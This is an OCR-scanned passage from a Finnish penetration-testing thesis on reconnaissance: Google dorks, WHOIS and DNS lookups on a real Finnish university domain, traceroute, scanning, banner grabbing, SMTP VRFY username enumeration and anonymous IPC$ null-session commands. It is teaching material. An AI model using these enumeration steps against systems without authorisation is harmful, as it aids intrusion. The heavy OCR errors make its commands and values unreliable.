Hakukoneista, pé&aasiassa Googlesta, saa irti paljon muutakin tietoa kunhan sit4 osaa
etsid. Googlen hakukoneeseen siséltyy useita komentoja, joiden avulla saa etsittya tieto-
ja tunkeutumistestauksen kayttoon. Esimerkiksi syottdmélld komento “intitle:"Remote
Desktop Web Connection" inurl: TSWeb/” Googlen hakuun saadaan tulokseksi sellaisia
kohteita, joilla on kéaytéssddn Microsoftin RDC (Remote Desktop Connection) Web
Connection. (McClure ym.. 2012, 20 — 21; Hackers For Charity 2013, 2004.)

Hakukoneiden hyddyntdaminen tiedonhaussa yksittéisten hakujen avulla on todella aikaa
vievad. Ajan sadstamiseksi on olemassa useita sovelluksia testaajan kayttdon. Kuvasta 1
voidaan n&hdg, kuinka SiteDigger -sovelluksella voi yhdistadd useita Googlen hakuko-
mentoja GHDB:sta (Google Hack DataBase). (McClure ym.. 2012, 22 — 24; Hackers
For Charity 2013.)
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FOCA, esitetty kuvassa 2, niminen sovellus voi etsid www-sivuilta tiettyja dokumentte-
ja ja lisaksi tutkia niiden metadataa. FOCA:an on myos sisallytetty SHODAN hakutoi-
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ym.. 2012, 22 — 24.)
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Kun ryhtyy etsimadn tietoja liittyen verkkotunnuksiin ja IP-osoitteisiin on hyva muistaa
ettd, vaikka molemmista vastaa sama katto-organisaatio (ICANN), ne rekisterdidaén
erikseen. Tasta johtuen ne I0ytyvat eri lahteistd. (McClure ym. 2012, 28 — 29; ICANN
2013.)

Monilla www-sivuilla tarjotaan WHOIS-haku mahdollisuutta, mutta on mahdollista ett&
haku ei tuota lainkaan tuloksia. Siind tapauksessa ratkaisu on tehda haku osissa. Ensiksi
pitaa selvittdd kuka vastaa kyseisistéa verkkotunnuksista (esim. fi). Kuvasta 3. ndhdéén

ettd fi verkkotunnuksista vastaa Ficora(www.ficora.fi.)

% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

domain: FI

organisation: Finnish Communications Regulatory Authority
address: PO Box 313

address: Helsinki FI-00181
address: Finland

contact: administrative
name: Domain Names

organisation: Finnish Communications Regulatory Authority
address: PO Box 313

address: Helsinki FI-00181
address: Finland

phone: +358 295 390 200
fax-no: +358 205 30Q 270
e-mail: |firootadmin@ficora.fi |

Kuva 3: fi verkkotunnuksien haku whois.iana.org:sta

Haun avulla selvisi kuka vastaa tietyista verkkotunnuksista (merkittynd kuvaan 3). Fico-
ran sivuilla tehty haku tuotti suppeat tulokset, niiden olennaisin osa loytyy kuvassa 4.
(McClure ym.. 2012, 29 — 31.)

Nimipalvelin Tila

ns 1.tpu.fi Toimiva
ns2.tpu.fi Toimiva
ns-secondary.funet.fi Toimiva

Kuva 4: Ficoran sivuilla tehty haku osoitteesta www.tamk.fi


http://www.tamk.fi/
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Kuvissa 5-7 vastaava haku on suoritettu osoitteessa who.is, joka antoi huomattavasti
kattavammat tulokset osoitteesta www.tamk.fi. Kuvan 5 esittdmét tulokset vastaavat

paéosin kuvan 4 tuloksia, mutta liséksi siin& on kyseisen www-sivun IP-osoite.

domain: tamk.fi @ Site Status
descr:  Pirkanmaan ammattikorkeakoulu Oy
descr: 10154281 IP Address

address: Amu KallionpT D
address: Kuntokatu 3

address: 33520

address: Tampere

phone:  03-245 2111

status: Granted

created: 19.6.2003

modified: 22 8 2012

expires: 31.8.2017

nserver: ns1.tpun [Ok]

nserver: ns tpufi [Ok]

nserver: ns-secondary funet fi [Ok]
dnssec: no

Status

Server Type Lotus-Domino

Kuva 5: who.is osoitteessa suoritetun haun tuloksia

Kuvassa 6 on who.is osoitteesta tehdyn haun DNS:&44 (Domain Name System) koskevia
tuloksia. Nimipalvelimet ovat samat kuin kuvassa 4, mutta niiden lisaksi haussa on sel-
vinnyt se nimipalvelin, jolla on SOA (Start Of Authority) tietue. (Microsoft 2013.)

@ Mame Servers — tamk fi

Name Server IP

ns2.tpufi
ns-secondary.funet.fi

ns1_tpu.fi

@ EOA Record | tamk.fi

Name Server ns1.tpufi

Email pngtnaster@tpu.ﬂ

Kuva 6: who.is osoitteessa tehdyn haun DNS-tulokset
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Kuvassa 7 on lisdd www.tamk.fi osoitteeseen liittyvid DNS tietoja. WWW-osoitteiden

ja DNS tietueiden lisaksi tuloksista selvidd IP-osoitteita sekd sdhkdposti-palvelimen

olemassaolo.

@ DNS Records — TAMK_FI

Record
tamk.fi
tamk.fi
tamik.fi
tamk.fi
tamk fi
smtp.tamk.fi

tamk fi

tamk fi
tamk. fi

tamk fi

mail_tamk._fi
mail tamk_fi

.‘l'l'nl-'n'\ll-'ll\ll. t a m k ﬂ

Type

A

WX

NS

NS

NS

SOA

TXT

TKT

SOA

WX

A

TTL

3 hours

3 hours

3 hours

3 hours

3 hours

3 hours

3 hours

3 hours

3 hours

1 hour

3 hours

3 hours

5 minutes

Priority

Content

193.167.71.207 (Tampere, 15, Fl)
smtp_tamk.fi

ns2.tpu fi

ns-secondary.funet.fi

ns1 tpufi

193.167.71.24 {Tampere, 15, FI)

ns1.tpufi. postmaster tpu fi. 2013070802 3600
900 604800 3600

Tampereen ammattikorkeakoulu
v=5pf1 mx a:mtad1.tamk.fi ~all

ns1.tpufi. postmastertpu fi. 2013070802 3600
900 604800 3600

193.167.71.59 (Tampere, 15, FI}
smtp_tamk fi

193.167.71.207 (Tampere, 15, Fl)

Kuva 7: Lisaa www.tamk.fi:n liittyvia DNS tietoja

Internetissd tehtavien hakujen liséksi on kéytettavissé useita sovelluksia Windows- ja

Unix/Linux-ymparistoissa. Kaytettavissa on myds komentoriviltd ajettavia ohjelmia.
(Klevinsky ym. 2002, 53; McClure ym.. 2012, 30; who.is 2012.)

Tiedonhakua voi tehdd myds IP-osoitteiden perusteella. Testaajalla on lokitiedoista tai

verkkotunnusten perusteella tehdyistd hauista selvinnyt IP-osoitteita ja testaaja haluaa

varmistua selvinneiden tietojen paikkansa pitdvyydestd. IP-osoitteista vastaa ICANN:in

alainen 1IANA (Internet Assigned Numbers Authority) ja sen alueelliset alaosastot

(RIR). Niiden jarjestelma on rakennettu siten ettd vaikka testaaja suorittaa haun, IP-

osoitteella vadran alaosaston tietokannasta, osaa jarjestelma kertoa oikean alaosaston.

(IANA 2013)
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Kuvan 8 tulokset on saatu suorittamalla ARIN:n sivuilla (www.arin.net) haku who.is

osoitteessa tehdyn haun tuloksista selvinneelld 1P-osoitteella. ARIN vastaa pohjois-

Amerikan IP-osoitteista. (McClure ym.. 2012, 28, 32 — 33; IANA 2013))

MetRange

CIDR

Mame

Handle

Parent

Met Type

Crigin AS
Organization
Registration Date
Last Updated

Comments

RESTul Link
See Also

See Also

193.0.0.0 - 193.255.255.255
192.0.0.0/8

NET-193-0-0-0-1

Allocated to C

RIPE Network Coordination Centre (RIPE)

1992-08-12

2009-03-25

baue been further assignedto users in
Contact information can be found in

hitp:iiwhois. arin.netirestinet'MET-193-0-0-0-1

Related organization's POC records.

Felated delegations.

Kuva 8: arin.net:n hakutulokset

ARIN:n sivuilla tehdyssa haussa selvisi ettd kéaytetty IP-osoite kuuluu RIPE:lle (Rése-

aux IP Européens), joka hallitsee muun muassa Euroopan IP-osoitteita. RIPE:n www-

sivuilla saa huomattavasti enemman tietoja kayttamastaan IP-osoitteesta tekemélla RI1-

PEstat haun ja erillisen tietokantahaun. RIPEstat:n tietoihin sisaltyy reititystietoja, DNS-

tietoja seka tietysti IP-osoite tietoja. RIPE:n tietokannasta (WHOIS) selviaa se 1P-osoite

avaruus, johon haussa kaytetty osoite kuuluu sekd useita yhteystietoja. Tietokantahaun
tulokset loytyvat kuvasta 9. (McClure ym.. 2012, 32 — 33; RIPE Network Coordination
Centre. 2013; IANA 2013.)
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% Information related tDl'lBB.lET.ES.O = 193.16?.71.2551

% Abuse contact for '193.167.68.0 - 193.167.71.255"' i=
'cert@certc. funet.fi’

inetnum:

netname :

descr: Pirkammaan ammattikorkeakoulu Oy
descr: TAME University of Applied Sciences
descr: Tampere, Finland

country: FI

admin-c: J514064-RIPE

tech-c: MJ6E-RIFPE

status: ASS5IGHNED P4

mnt -y 451741 -MNT

mnt-lower: A51741-MNT

source: RIPE #Filtered

person: Jarmo Sorvari

address: TAME University of Applied Sciences
address: Funtokatu 2

address: FI-33520 Tampere

address: FINLAND

phone: +358 3 254 2111

fax-no: +358 3 254 2222

nic-hdl: J514064-RIPE

sSource: RIPE #Filtered

person: Marko Jauhiainen

address: TAME University of Applied Sciences
address: FKuntokatu 3

address: FI-33520 Tampere

address: Finland

phone: +358 3 245 2111

fax-no: +358 3 245 2222

nic-hdl: MJ6E8-RIPE

source: RIPE #Filtered

3 Information related to '"193.166.0.0/15A51741"°

Kuva 9: RIPE:n tietokanta haun tulokset.

Pohjatietojen hankinnan jalkeen testaaminen voi muuttua aktiivisemmaksi. Aktiivinen
tassa yhteydessa tarkoittaa sitd, ettd kohdejarjestelmaé tutkitaan erilaisilla tyokaluilla ja

tiedot tulevat itse kohteesta, eivatka ulkoisista lahteista.

DNS vyohykesiirto on ldhes vanhentunut keino tietojen hankkimiseen kohdejéarjestel-
maéstd, mutta tdma ei tarkoita etta se pitdisi unohtaa, silla vielakin 16ytyy véaérin konfigu-
roituja DNS-palvelimia ja onnistuessaan vyohykesiirto on merkittdvéa tiedonléhde.
(McClure ym.. 2012, 36 — 37.)

Vyohykesiirto suoritetaan WHOIS-hauissa selvinneitd nimipalvelimia vastaan. Vyoéhy-
kesiirto pyytdd nimipalvelimelta listauksen, jossa ndkyy IP-osoitteet ja niit4 vastaavat
nimet. Vyohykesiirron voi suorittaa useilla sovelluksilla tai Windows- ja Unix-
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kayttojarjestelmiin sisaltyvalla nslookup komennolla. Vyohykesiirron kohteena olevan
nimipalvelimen pit44 olla kyseisen vyohykkeen valtuuttava palvelin. Tuloksia tutkiessa
kannattaa muistaa, etta nimipalvelimella valttamatta ole tietoja kaikista verkon laitteista.
Tulosten kattavuuteen vaikuttaa DHCP:n kaytté verkon laitteissa ja se ettd kaytetadnko

eri verkkotunnuksille eri nimipalvelimia. (Klevinsky ym. 2002, 54 — 56.)

Vybhykesiirto saattaa olla kuitenkin estetty monessa paikassa, mutta tdma ei vélttdmaétta
estd saamasta DNS tietoja. On olemassa ohjelmia ja skripteja, jotka kayttavat hyvékseen
julkisen tiedon lahteitd (IANA, WHOIS), kaanteisia DNS hakuja tai yksinkertaisesti
korvaavin keinoin hankkivat DNS tiedot. (McClure ym. 2012, 40; Mouton, W. 2013, 3.)

Kun tunnetaan nimet ja osoitteet, voidaan ryhtya selvittdméan sijaintia. Sijainnin kar-
toittaminen vie aikaa, mutta sen avulla saa k&sityksen missa palvelimet ja muut tietoko-
neet sijaitsevat suhteessa verkon turvalaitteisiin. Kartoituksessa selviad myds, jos jotkin
laitteet sijaitsevat eri osassa (segmentissd) verkkoa. Kartoittamisessa voi kéyttda joko
Unixin tai Windowsin komentorivilt4 toimivaa traceroutea / tracertia tai VisualRoutea,

joka esittaa tulokset visuaalisessa muodossa. (Klevinsky ym. 2002, 58.)

Yksinkertaisimmillaan tulokset ovat melko selkokielisia, kuten kuvasta 10 voi huomata.

eurataan reitti isantdan tamk.fi [193.167.71.26871
pnintddn 30 siirrdntivdlillac
<1 ms <1 ms <1 mz 192_168.18.1
ms 1 ms 1 ms gwblS.tontut.fi [94.237.68.11
ms 27 ms 26 mz toas—guwl-—xB181-her.tontut.fi [94.237.8.2581
mns mz mz funet—tutb—x113A.tontut.fi [94.237.8.2411
ms 1 ms ms varattu—-tamk-r2—ukut.funet.fi [193.167.253.391
ms 2 ms ms  guwd—1.tpu.fi [193.167.71.2461
ms 2 m=z me gul—1.tpu.fi [193_.167.68_.249%]
ms ms ms www.tamk.fi [192.167.71.2871]

i
1
?
?
2
2
2
3

Feuranta suworitettu.

Kuva 10: tracert:lla selvinnyt reitti osoitteeseen tamk.fi

Aikaisempien tulosten ja kuvan 10 esittdmien tulosten perusteella, voidaan paatella ettd
kohteet 5 — 8 ovat laitteita, jotka kuuluvat tamk:lle. Todellisuudessa tilanne on huomat-
tavasti monimutkaisempi, silla verkossa saattaa olla useita reitteja kohteeseen ja reittien
varsilla saattaa olla kuormantasauslaitteita. Paasylistat (ACL) saattavat myos sekoittavat
tuloksia, silla niiden yksityiskohdat vaihtelevat laitteesta laitteeseen. Tésta johtuen toiset
laitteet pé&éstavat tracert:n lapi, toisten estdessa sen kulun. (McClure ym. 2012, 43 —

45; Vesaria Network Security Specialists 2013.)
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Kartoittamisen tulokset vaativat hieman tulkintaa, jotta niist4 on hyotya testaajalle. Yksi
tarked tarkkailun kohde on kartoitukseen kéytetyn ohjelman ICMP-pakettien reitti. Jos
useaan eri kohteeseen matkaava paketti kayttdd samaa reittid, on se ensimmainen merk-
ki verkon osien rajoilla sijaitsevista laitteista. Tallaisen laitteen olemassaolo varmistuu,
jos usealla paketilla on ennen kohdettaan sama hyppy. Jos paketteja ei voida havaita
enéa tietyn pisteen jalkeen, on kyseessd todenndkdisesti palomuuri tai liikennettd suo-
dattava reititin. Riippuen kohteesta kyseessa voi olla myds kuormantasauslaite tai muu
liikkenteen kulkuun vaikuttava laite. Kartoituksen aikana voi huomata, ettd jotkin paketit
ottavat vaihtoehtoisen reitin johonkin kohteeseen. Talldin voi olla kyse jonkin projektin
aikana paikalleen unohtuneista kytkenndista. Testaajan kannalta tdma on hyva, silla
nailla kytkenndilla monesti kierretadn turvalaitteita tai muuta tietoturvallisuuteen liitty-
vaa toiminallisuutta ja jatetdan ndin aukko verkkoon. (Klevinsky ym. 2002, 58 — 59.)

3.2.2 Skannaus

Aiemmissa testauksen vaiheissa on selvinnyt joitakin IP-osoitteita, joita voi kayttaa
skannauksen aloittamiseen. Skannaus paljastaa lisdé osoitteita, joiden pohjalta skanna-
usta voidaan laajentaa. Pelkilla IP-osoitteilla ei tee juuri mitddn myéhemmassa testauk-
sessa, kun ei tiedetd ovatko osoitteet oikeasti toiminnassa. Siksi skannaus aloitetaan
selvittaméallad mitk& kohteen osoitteet ovat toiminnassa. Téhan tarkoitukseen voisi kéayt-
tdd Windowsista ja UNIX:sta 16ytyvaa komentorivisovellusta ping, mutta se olisi vai-
valloinen kayttaa ja sovelluksen suorittaminen on rajoitettu ICMP (Internet Control
Message Protocol)-paketteihin. On olemassa sovelluksia, jotka osaavat ICMP-pakettien
lisdksi kayttdd ARP (Address Resolution Protocol)-, TCP (Transmission Control Proto-
col)- tai UDP (User Datagram Protocol)-paketteja. (Klevinsky ym. 2002, 57; McClure
ym. 2012, 48.)

ICMP pingilld on kuitenkin muutama kayttokelpoinen ominaisuus sen kéyttamien vies-
tityyppien ansiosta. ICMP pingié kayttdessé kyse on echo reply ja echo request viesteis-
ta. Kaksi muuta kayttokelpoista viestia ovat Timestamp, jolla saa selville kohteen jarjes-
telma ajan, ja Address mask, joka puolestaan kertoo kohteen aliverkkomaskin. (McClure
ym. 2012, 52; Microsoft 2013.)
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Testaajan ollessa samassa verkkosegmentissd kohteen kanssa ARP-paketteihin perustu-
va menetelmd vie vahiten aikaa ja luo vahiten liikennetta verkkoon. ARP skannauksessa
lahetetddn ARP-pyynto jokaiseen osoitteeseen tietyn aliverkon alueella ja osoite katso-
taan toimivaksi, jos pyyntoon vastataan. ARP-skannauksella voidaan my6s todeta sel-
laisten osoitteiden toimivuus, jotka ovat paikallisen palomuurin takana, joka puolestaan
saattaa suodattaa muita skannaukseen soveltuvia paketteja. (McClure ym. 2012, 48 —
49; The Sprawl 2009.)

Monet sovellukset voivat yhdistdd toiminnassa olevien kohteiden tunnistamisen TCP-
tai UDP-pakettien avulla, ja porttiskannauksen, jonka tavoitteena on tunnistaa mitka
palvelut toimivat avoimien porttien takana. Testin ollessa tyypiltadn ennalta ilmoitettu
voidaan kaikki portit skannata, koska havaituksi tuleminen ei haittaa. Testaustyypista
huolimatta kannattaa testaajan jakaa skannattavat portit useaan eraan, joko porttinume-
roiden tai protokollan mukaan. Skannaamalla portit useassa erassa valtetdan kuormitta-
masta kohde verkkoa. (McClure ym. 2012, 61 — 64; Klevinsky ym. 2002, 60 — 61.)

Testaajan tulisi kehitta4 itselleen erédinlainen “pohjalista” porttiskannausta varten, jota
voisi kdyttdd mihin tahansa jarjestelméén ja muokata sitten tilanteen mukaan. Talldisen
listan tyostdmisen voi aloittaa jonkin sovelluksen kédyttamasta listasta tai jostakin muus-
ta valmiista listasta. Lista kehittyy testaajan kehittyessé sek& kunkin testauksen tiedon-
keréyksen tuloksena. Valtaosa porttiskannaus tyypeista on erilaisia TCP-pohjaisia skan-
nauksia ja jotkin niistd toimivat vain tietynlaisiin kohteisiin, kuten esimeriksi UNIX-
jarjestelmiin. Oikeanlaisen skannaustavan valintaan vaikuttaa myos se ettd missa testa-
uksen vaiheessa ja millaisin oikeuksin skannausta suoritetaan. Eri skannaustavat, vaik-
kakin periaatteessa tekevat samaa asiaa, tavasta riippuen selvittdvat porttien tilan eri
tavalla. (Klevinsky ym. 2002, 61; McClure ym. 2012, 62 — 63.)

3.2.3 Kayttojarjestelman tunnistaminen
Kéytossa olevien palveluiden lisdksi on tunnistettava kayttojarjestelma jonka paalla
palveluita ajetaan. Tunnistamiseen on kaksi l&hestymistapaa: aktiivinen ja passiivinen.

(McClure ym. 2012, 72 — 73.)

Aktiivisessa lahestymistavassa tunnistaminen perustuu porttinumeroihin ja kokenut tes-

taaja voisikin porttiskannauksen perusteella esittdd arvauksen kayttojarjestelmésta. Ar-
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vausten luotettavuus on kuitenkin heikko, silla porttinumerossa saattaa esiintyd paallek-

kaisyyksia ja numeroita on voitu vaihtaa. (McClure ym. 2012, 73.)

Aktiivisessa ldhestymistavassa kéaytettdvan tyokalun tunnistus perustuu TCP ja ICMP
pakettien ominaisuuksien manipulointiin, jolla pyritddn saamaan tietynlainen vastaus
kohteelta. Tuloksen perusteella pystytadn melko pitkélle yksiléimaan mista kayttojarjes-
telmésté on kyse. Tunnistus on sitd tarkempi mitd enemman kohteessa on portteja auki,
mutta vaikka kohteessa ei olisi yhtddn porttia auki, voi esimerkiksi Nmap-ohjelma suo-
rittaa arvauksen kayttojarjestelmastad. (McClure ym. 2012, 74 — 76.)

Aktiivisen tunnistamisen haittapuolena on kuitenkin etté se herkasti laukaisee IDS (In-
trusion Detection System)-jarjestelméat. Passiivisessa tunnistamisessa kohteeseen ei 1&-
hetetd paketteja, vaan tunnistaminen perustuu nimen mukaisesti verkon liikenteen pas-
siiviseen tarkkailuun. Passiivinen tunnistaminen kuitenkin edellyttad, etté testaaja sijait-
see keskeiselld paikalla suhteessa verkon liikenteeseen ja pystyy yhdistaméén tietoko-

neensa porttiin, joka sallii pakettien kaappaamisen. (McClure ym. 2012, 77.)

Passiivinen tunnistaminen perustuu pakettien TTL (Time To Live)-, Window size- ja
DF (Don’t Fragment)-arvoihin. Menetelmén heikkoutena on kuitenkin ettd jos tarkkailtu
liikenne tulee sovelluksista, jotka muodostavat omia pakettejaan, saattavat tarkkailtavat
ominaisuudet muuttua kayttojarjestelman arvoista. Kumpaakin lahestymistapaan vaikut-
taa se tosiasia etta kayttojarjestelmén kayttdmia arvoja voidaan muuttaa. (McClure ym.
2012, 78 —79.)

3.2.4 Haavoittuvuuksien analysointi

Monia haavoittuvuuksia voi etsid ja 16ytaa jo tahan mennessa hankituilla tiedoilla, mutta
kovin tarkkoja tuloksia ei valttaméttd saada. Sovellusten haavoittuvuudet usein muuttu-
vat versiosta toiseen, joten niiden tarkkojen versionumeroiden selvittdminen on tarke&a
testaamisen kannalta. (McClure ym. 2012, 85 — 86.)

Www-palvelimien version saa usein selville myos kayttamélld hyvékseen tunnisteen
kaappausta (Banner). Tunnisteen kaappaus tapahtuu ottamalla telnetyhteys johonkin
www-0soitteeseen porttinumerolla 80 tai esimerkiksi netcat sovelluksella, jonka toimin-

nasta esimerkki kuvassa 11.
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E:"-.,WINNT"-.,SysI:em32"-.,cmd.e:|t;

C:stoolsine —v —n 192.168.1.98 388
CUNKHOWN> [192.168.1.981 88 (?)> open
GET HITP
HTTP-1.1 48 Bad Reguest
»2 Microsoft-I1IS5/5_8

: Mon,. B5 Hay 2083 28:4%:87 GHT
Content—-Type: textshtml
Content—Length: 87

<html><head><title*Error{ title>{ head><{hody>The paramete
< /html>
C:istools>

Kuva 11: Netcat sovelluksen kayttd tunnisteen kaappaamisessa. (Reed, B. 2011)

tunnisteen kaaappaus toimii myés muihinkin yleisiin palveluihin, kuten esimerkiksi
FTP:hen (File Transfer Protocol) tai SMTP:hen (Simple Mail Transfer Protocol). (Mc-
Clure ym. 2012, 90 — 91; Reed, B. 2011.)

Haavoittuvuuksia voi etsid kasin Internetin haavoittuvuustietokannoista, mutta myos
tdhan tarkoitukseen on saatavilla sovelluksia, kuten esimerkiksi Nessus tai Nmap. Joi-
denkin ldhteiden mukaan Nessus olisi suhteellisen epaluotettava sovellus kaytettavéksi
testaamiseen. (McClure ym. 2012, 87 — 89; Saarelainen, A. 2013.)

Jotkin palvelut ovat hyédynnettavissa hyokkéayksessd aivan sellaisenaan, olettaen ettéd
niihin liittyvat portit ovat tiedonkeruussa selvitetty auki oleviksi. Thmisten huolimatto-
muus tai tietdméattdmyys joidenkin palveluiden kaytossa altistaa kohteen néin ollen

hyokkéyksille ndiden palveluiden kautta.

FTP vaarin konfiguroituna on otollinen kohde hyokkéaéajélle, silla sen haavoittuvuuden
I0ytadéd hyvin yksinkertaisella tavalla: ottamalla yhteys FTP-palvelimeen. Pelkké yhtey-
den ottaminen saattaa paljastaa kéytdssé olevan FTP-sovelluksen nimen ja version. Sa-
malla kertaa on helppo testata salliiko kyseinen FTP-palvelin anonyymit kirjautumiset,

joka itsessaan on jo hyddynnettévissa haavoittuvuutena. (McClure ym. 2012, 92 — 93.)

Telnet tunnetusti lahettdd kayttajatunnuksen ja salasanan selkokielisend tekstind. Tasta
syysté sen kayttoa valtetadn. Mainittakoon kuitenkin esimerkking, ettd Ciscon laitteita

on mahdollista tunnistaa pelkastdan niiden antaman Kirjautumiskehotteen perusteella,
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tdman haavoittuvuuden hyddyntaminen kuitenkin edellyttdd, ettd kohde laitteessa on
Telnet palvelu paalla. (McClure ym. 2012, 94 — 95.)

SMTP:n haavoittuvuus piilee sen komennoissa ja k&yttajanimissa. Monessa organisaati-
ossa kayttajanimet ovat samat kuin sahkdpostiosoitteen alkuosa ja kayttajanimet muo-
dostetaan monesti jonkin logiikan mukaan. Testaaja voi paattelemalla selvittada kyseisen
logiikan ja ndin muodostaa itselleen listan todennékaisista kayttdjanimisté. Testaaja voi
varmistua ndiden k&yttdjadnimien toimivuudesta ottamalla yhteyden asianmukaiselle
palvelimelle esimerkiksi telnet tai netcat ohjelmalla. Kuvassa 12 on hyddynnetty
SMTP:n komentoja vrfy-skriptin avulla. (McClure ym. 2012, 96; Penetration Testing
Lab 2012.)

root@pentestlab: # . fsmtp-vrfy.py -t 172.16.212,133 -p 25 -f names.txt
[+] Connecting to serve

21:21:56 2012
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
Not found jane
Not.found jilly
Found! root
Not found mat
Not found steve
Not found eddie

Not found simon

Kuva 12: SMTP:n haavoittuvuuden hyddyntaéminen vrfy-skriptin avulla (Penetration Tesing Lab 2012)

TFTP:en kayttd on harvinaista sen tietotuvattomuuden takia, mutta siitd huolimatta sita
kéaytetddn Ciscon kytkimien, reitittimien tai VPN keskittimien konfiguraatioiden siir-
tdmseen. Riippuen testauksen parametreista on TFTP otollinen tietoldhde koskien ver-
konlaitteita. (McClure ym. 2012, 102 — 103.)

WWW-sivujen koodin joukkoon saattaa olla piilotettuna esimerkiksi salasanoihin liitty-
vaa tietoa. Tietojen hankkiminen www-sivuista ei paallisin puolin juurikaan eroa tunnis-

teen kaappauksesta, ellei kohde sivu kayta SSL:44. Kuvassa 13:sta on etsitty tietoa
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WWW-sivujen koodin joukosta siihen tarkoitetulla sovelluksella (kohta ”Information
leakage”). (McClure ym. 2012, 104 — 105.)

. Grendel-Scan v1.0 - Scan Configuration o[- |

File Scan Help
General Settings | HTTP Client | Authentication | Target Details / Scan Restrictions | Test Module Selection

' 4 | |All test modules
4[| spider
I “URL-Regex
[¥|HTML tag requester
[|Form baseline
|| search engine recon
4 [["|File enumeration
| |Directory enumerator

|| File enumerator

%
4 || |information leakage
[ Private address leakage
|| pirectory listings
| |Robots.txt
[|comment lister

o Platform error messages
Kuva 13: Grendel-Scan sovelluksella voi etsié tietoa WWW-sivujen koodin joukosta. (DragonJAR 2009.)

Tietyt Windowsit saattavat kdyttdd RPC (Remote Procedure Call) Port Mapper ohjel-
maa, jonka kautta voidaan saada oleellisia tietoja kohteen sovelluksista ja palveluista
seka niihin liittyvista IP-osoitteista. Microsoftilta itseltadn 16ytyy tyokalu (Resource Kit,
epdump) néiden tietojen hankkimiseen, mutta tulokset eivét ole kovin selkeét ja yksise-
litteiset. Testaajan kayttoon 16ytyy myos skripteja ja graafisia sovelluksia, jotka tekevat
saman asian ja antavat selkeampia tuloksia. (McClure ym. 2012, 108 — 109; Hackit
2013.)

NetBIOS:n nimipalvelua (UDP 137) ei ole valttdmattd tarvinnut endd kayttdd DNS:n
yleistymisen myotd, mutta siitd huolimatta se on l&hes jokaisessa Windows-versiossa
oletuksena pééalla. NetBiosista saa tietoja melko helposti, jopa kéyttojarjestelmien omil-
la tyokaluilla. Kuvassa 14 on esitetty komennot, jotka listaavat toimialueen johon tieto-
kone kuuluu ja sen jalkeen kaikki toimialueeseen kuuluvat tietokoneet. (McClure ym.
2012, 108 — 109; Klevinsky ym. 2002, 99 — 100.)
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EX Command Prompt |ﬂl_s:—h]

Microsoft Windows [Uersion 6.1.768081]
Copyright <c2> 2089 Microsoft Corporation. All rights reserved.

m| »

C:“Usersssmile>net view domain

The command completed successfully.

C:sUsersssmile*net view domain:WORKGROUP

DEL Gateway
The command completed successfully.

C:xUsers~smile>

L8 A

Kuva 144: net view:n kayttd NetB1OS:n hyddyntamisessa (University Of South Wales 2013.)

Kuvassa 15 nahddan kuinka nltest-komennolla saadaan selville tietylld toimialueella

sijaitsevat DC:t (Domain Controller).

Administrator: Command Prompt

Microzoft Windows [Uerzion 6.1.766811
Copyright ¢c> 28879 Microsoft Corporation. All rights reserved.

C:wUserssAdministrator>nltest ~dclist:contoso.com

v2—zpl—A1 .contoso.com [PDC1 [DS1 Site: mainoffice
2-5P1-83 .contoso.com [RODC] [DE] Site: mainoffice
2-5P1-82 .contoso.com [DE] Site: mainoffice
The command completed succeszfully

Get ﬁist of DCz in domain ‘contoso.com’ from *“2088r2-spl-B1_contoso.com’.

Kuva 155: nltest sovelluksen kaytté NetBIOS:n hyddyntamisessa (Microsoft 2013.)

NetBIOS istunnossa piilee haavoittuvuus, josta puhutaan myds nimella null istunto /
anonymous yhteys. Haavoittuvuuden muodostaa Microsoftin SMB (Server Message
Block), johon puolestaan perustuu Windowsin tiedostojen ja tulostimien jako. Tietojen
saaminen SMB:sta onnistuu ottamalla yhteys piilotettuun jakoon IPC$ ja se tapahtuu net
use komennolla, jolla Windowsissa yhdistetddn normaaliin verkkojakoon, kuten kuvasta
16 voi ndhda. Ensimmaiset lainausmerkit kertovat ettd kdytetddn tyhjéé salasanaa ja

jalkimmainen maarittada kayttajatunnukseksi anonymous.

B Ch\Windows\system32\emd.exe

C:v>net wse “SN192.168.282.335\IPCS " Au:™™

Kuva 166: IPC$ jakoon yhdistaminen net use komennolla
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Vaihtoehtona komentokehotteelle on useita graafisia sovelluksia. Yhteyden muodostet-
tuaan tietoa tiedostojaoista voi kerdatd aiemmin mainitulla net view-komennolla. Nltest-
komennolla voi null-yhteyden muodostuksen jalkeen hankkia tietoja muistakin toimi-
alueista kuin siitd, johon on luonut yhteyden. (Klevinsky ym. 2002, 100; McClure ym.
2012, 115 — 116, 120; Microsoft 2013; Minasi, M. 1998.)

Periaatteessa on mahdollista saada tietoja rekisteristakin, mutta oletuksena Windows
sallii vain yll&apitajien paasyn rekisteritietoihin. Normaali tilanteessa null-yhteyden kaut-
ta rekisteriin ei padse késiksi. Poikkeuksia kuitenkin l6ytyy, jotka mahdollistavat joi-
denkin tietojen saamisen rekisteristakin. Monilla sovelluksilla saattaa olla versionumero
asennuspolussa. Myos pelkéllad sovelluksen nimelld péésee alkuun haavoittuvuuksien
etsinnédssd. Kuvassa 17 on esitetty rekisteritietojen hankinnan tulokset DumpAcl (nyk.
DumpSec) sovelluksella. (McClure ym. 2012, 118 — 119; Microsoft 2013; Corelan
Team 2008.)

Somarzoft Dumpéc] - \W192 168.202.33 o [=] |
File Edit Search Hepot Yiew Help
FriendlyN ame M ame Status  Type  Account
Inport Inport Stopped Kernel =
Jazzg300 Jazzq300 Stopped Kernel
JazzgiGd Jazzgiha Stopped Kemel
Jzwndl 484 Jzwl 44 Stopped Kernel
Keyboard Class Driver Kbdclass Ranning Kernel
KSecDD KSecDB Running Kernel
Messenger Messenger Running Win32 LocalSystem
mga mga Stopped Kemnel
mga_mil mga_mil Stopped Kernel
Microsoft NDIS System Driver NDIS Aunning Kernel
mitsumi mitsumi Stopped Kemnel
mkecrc mkecrbog Stopped Kemnel
Modem Stopped
Mouclass Running
MsFs MsFs Running Kernel
Mup Mup Running Kernel
MerS3cix NerS3cx Stopped Kernel
nerf fe2d nerffe2? Stopped Kernel =
Merc7 00 Neref0n Stopped Kernel
Mere710 Mere710 Stopped Kernel
Met Logon Netlogon Stopped Win32 LocalSystem
MetBios Interface NetBIOS Running Kernel
' |MetDetect NetDetect Stopped Kernel
MNetwork DDE NetDDE Stopped Win3Z LocalSystem
Network DDE DEDM NetDDEdsdm Stopped Win32 LocalSystem
Npis Npis Running Kernel :l

B

Kuva 177: DumpAcl sovelluksen rekisterista hankkimat tiedot (lib.qrz.ru 2013.)



33

